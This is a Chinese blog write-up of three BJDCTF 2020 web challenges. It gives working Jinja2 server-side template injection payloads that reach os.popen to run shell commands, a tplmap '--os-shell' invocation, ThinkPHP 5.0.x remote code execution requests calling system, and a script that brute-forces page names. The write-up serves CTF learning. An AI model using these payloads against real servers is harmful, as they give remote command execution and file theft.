DGZ's Blog.

BJDCTF WP - WEB-1

Word count: 1.7kReading time: 8 min
2020/03/29 Share

WEB

总的来说就是我弱爆了

fake google

ssti
https://blog.csdn.net/qq_40657585/article/details/83657220

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat app.py').read()") }}{% endif %}{% endfor %}

母鸡母鸡

我擦了后面发现直接cat /flag就可以了
丢人
但是为什么ls不到呢?肯定是做题流程不对

题目后面可能改过了,好像把trick去掉了,原本cat /flag好像不能直接cat到,因为有BJD就会被ban,参考:https://github.com/BjdsecCA/BJDCTF2020_March,利用字符串切片方法

1
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read()[1:] }}

还有base64绕过
1
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag | base64').read() }}

为什么当时ls不到,因为:

ls 无参数时,显示当前目录下的文件。当前目录就是指,用户操作命令时,所处的目录,可用pwd看到

输入

1
{{ config.__class__.__init__.__globals__['os'].popen('pwd').read() }}

显示:
GViV8x.png

可以知道我是在app目录下,所以输入

1
{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

只是显示app目录下的文件

GViBIs.png

而当我输入

1
{{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}

才是显示根目录的文件
GViRLF.png

我们的flag在根目录的flag文件内,所以要cat /flag,若flag是在app目录下,就可以直接cat flag

另外的payload:

1
2
3
4
5
6
7
8
9
1) 
{{ config.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('cat /flag').read() }}

2)
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('<command>').read()") }}{% endif %}{% endfor %}

3
{{ {}.__class__.__base__.__subclasses__()[169].__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat /flag').read()") }}

(4) 参考官方文档的payload

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("cat /flag").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

方法一

按照:https://www.cnblogs.com/cioi/p/12308518.html
中的6.shell命令执行的方法二,是我觉得比较正确的做法,但是这里无法顺利复现,应该模板还有python版本的问题,原文:

1
2
3
4
5
6
7
8
9
10
11
#利用 warnings.catch_warnings 进行命令执行
{}.__class__.__base__.__subclasses__().index('warnings.catch_warnings')
#59
[].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')
#25
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')
#12
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')
#144
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
#root

本题:

1
{{{}.__class__.__base__.__subclasses__() }}#无法用index

复制出来,利用找到warnings.catch_warnings的索引值为169
GV1JW8.png

复制出来,利用sublime把逗号变成回车,找到warnings.catchwarnings的索引值为169

1
{{[].__class__.__base__.__subclasses__()[169].__init__.__globals__.keys()}}

GV1glF.png
并没有linecache,但是看到_builtins
,接下来没有过滤都是常规操作,用eval函数执行代码,可以参考payload(3)

方法二

参考:https://xz.aliyun.com/t/3679

1
{{"".__class__.__bases__[0].__subclasses__()}}

找到os._wrap_close命令,索引值为117
1
2
3
{{"".__class__.__base__.__subclasses__()[117]}}
{{"".__class__.__bases__[0].__subclasses__()[117]}}
都是回显 `<class 'os._wrap_close'>`

我目前觉得是base就是bases[0]

这个时候我们便可以利用.init.globals来找os类下的,init初始化类,然后globals全局来查找所有的方法及变量及参数。

1
{{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__}}

此时我们可以在网页上看到各种各样的参数方法函数。我们找其中一个可利用的function popen,在python2中可找file读取文件,很多可利用方法,详情可百度了解下。
GVtBTJ.png
最后
1
{{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read()}}

可以得到flag

别说了还有很多问题没解决

方法三

tplmap也可以直接cat /flag

1
python tplmap.py -u http://9182f565-1d10-4df0-a421-1940ec21efff.node3.buuoj.cn/qaq?name=1 --os-shell

GVJP1K.png

另外推荐一个能把Python代码给编译成一句话的形式工具
官网 http://www.onelinerizer.com/
Github地址:https://github.com/csvoss/onelinerizer

old-hack

dir溢出?不知道什么蛇皮

但其实关键的不是标题,而是body里面的php
GVN6EQ.png

参考:https://www.gem-love.com/ctf/2097.html#i-5
https://www.cnblogs.com/h3zh1/p/12549645.html
直接上exp,报错了,利用报错可以收集一些信息:

1
http://eac4f212-547a-4fa5-9cc2-f02490ae4116.node3.buuoj.cn/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

GVdb5Q.png
之后找5.0.23的RCE
POST:_method=__construct&filter[]=system&server[REQUEST_METHOD]=cat /flag

另外有一道php RCE的题:https://www.cnblogs.com/Cl0ud/p/12589768.html

elementmaster

GSnAgg.png

一张图,保存到本地了,

纯脑洞题啊
GSM18f.png
有十六进制字符串,转换成文本就是Po.php
进入该页面看到一个点
这样的提示都不知道是遍历元素的php页面…
我就是那个懒得写脚本+找不到元素周期表字典的人了!

1
2
3
4
5
6
7
8
9
10
11
import os
import requests as req
elements = ('H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar', 'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br', 'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te', 'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm', 'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn', 'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr','Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue')
for symbol in elements:
link = "http://667095ac-1c37-4288-a50b-4e178d0b6df6.node3.buuoj.cn/" + symbol + ".php"
response = req.get(link)
if response.status_code == 200:
print(response.text, end='')
else:
continue
#And_th3_3LemEnt5_w1LL_De5tR0y_y0u.php[Finished in 12.5s]

若print(response.text),输出结果就不是连在一起的,

end=’’作用:为末尾end传递一个空字符串,这样print函数不会在字符串末尾添加一个换行符,而是添加一个空字符串,表示这个语句没结束。

进入这个php页面就看到flag了

CATALOG
  1. 1. WEB
    1. 1.1. fake google
      1. 1.1.1. 方法一
      2. 1.1.2. 方法二
      3. 1.1.3. 方法三
    2. 1.2. old-hack
    3. 1.3. elementmaster